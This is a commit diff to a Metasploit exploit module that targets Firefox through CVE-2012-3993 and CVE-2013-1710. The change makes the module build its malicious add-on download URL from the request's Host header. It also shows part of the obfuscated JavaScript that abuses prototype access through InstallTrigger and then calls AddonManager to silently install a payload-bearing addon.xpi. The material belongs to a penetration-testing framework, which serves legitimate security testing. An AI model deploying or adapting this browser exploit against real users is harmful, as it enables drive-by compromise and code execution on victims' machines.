Land rapid7#7107, Use VHOST info for redirection in firefox_proto_crmfrequest

Author: wchen-r7

modules/exploits/multi/browser/firefox_proto_crmfrequest.rb

@@ -45,10 +45,8 @@ def initialize(info = {})
       'DisclosureDate' => "Aug 6 2013",
       'References' => [
         ['CVE', '2012-3993'],  # used to install function that gets called from chrome:// (ff<15)
-        ['OSVDB', '86111'],
         ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'],
         ['CVE', '2013-1710'],  # used to peek into privileged caller's closure (ff<23)
-        ['OSVDB', '96019']
       ],
       'BrowserRequirements' => {
         :source  => 'script',
@@ -68,17 +66,26 @@ def on_request_exploit(cli, request, target_info)
       send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' })
     else
       print_status("Sending HTML")
-      send_response_html(cli, generate_html(target_info))
+      res = generate_html(target_info,request.headers['Host'])
+      vprint_status res.to_s
+      send_response_html(cli, res)
     end
   end
 
-  def generate_html(target_info)
+  def generate_html(target_info,refer)
     injection = if target_info[:ua_ver].to_i == 15
       "Function.prototype.call.call(p.__defineGetter__,obj,key,runme);"
     else
       "p2.constructor.defineProperty(obj,key,{get:runme});"
     end
 
+    if refer.nil? or refer.blank?
+      redirect = "#{get_module_uri}/addon.xpi"
+    else
+      proto = ((datastore['SSL']) ? 'https' : 'http')
+      redirect = "#{proto}://#{refer}#{get_module_resource}addon.xpi"
+    end
+
     script = js_obfuscate %Q|
       try{InstallTrigger.install(0)}catch(e){p=e;};
       var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
@@ -107,7 +114,7 @@ def generate_html(target_info)
     js_payload = js_obfuscate %Q|
       if (!window.done) {
         window.AddonManager.getInstallForURL(
-          '#{get_module_uri}/addon.xpi',
+          '#{redirect}',
           function(install) { install.install() },
           'application/x-xpinstall'
         );